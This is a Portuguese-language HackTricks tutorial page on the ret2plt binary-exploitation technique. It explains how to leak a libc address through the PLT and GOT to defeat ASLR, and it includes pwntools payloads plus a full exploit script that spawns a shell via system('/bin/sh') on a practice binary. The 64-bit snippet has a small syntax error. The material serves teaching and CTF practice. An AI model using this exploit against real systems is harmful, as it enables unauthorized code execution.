4.3 KiB
Ret2plt
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.
Informações Básicas
O objetivo desta técnica seria vazar um endereço de uma função do PLT para poder contornar o ASLR. Isso ocorre porque, por exemplo, se você vazar o endereço da função puts
da libc, você pode então calcular onde está a base da libc
e calcular offsets para acessar outras funções como system
.
Isso pode ser feito com um payload pwntools
como (aqui):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Observe como o puts
(usando o endereço do PLT) é chamado com o endereço do puts
localizado no GOT
. Isso ocorre porque, no momento em que o puts
imprime a entrada do GOT
do puts
, esta entrada conterá o endereço do puts
na memória.
Também observe como o endereço do main
é usado no exploit, para que quando o puts
encerre sua execução, o binário chame main
novamente em vez de sair (para que o endereço vazado continue sendo válido).
{% hint style="danger" %}
Observe que, para que isso funcione, o binário não pode ser compilado com PIE ou você deve ter encontrado um vazamento para contornar o PIE a fim de saber o endereço do PLT
, GOT
e main
.
{% endhint %}
Você pode encontrar um exemplo completo desse bypass aqui. Este foi o exploit final desse exemplo:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.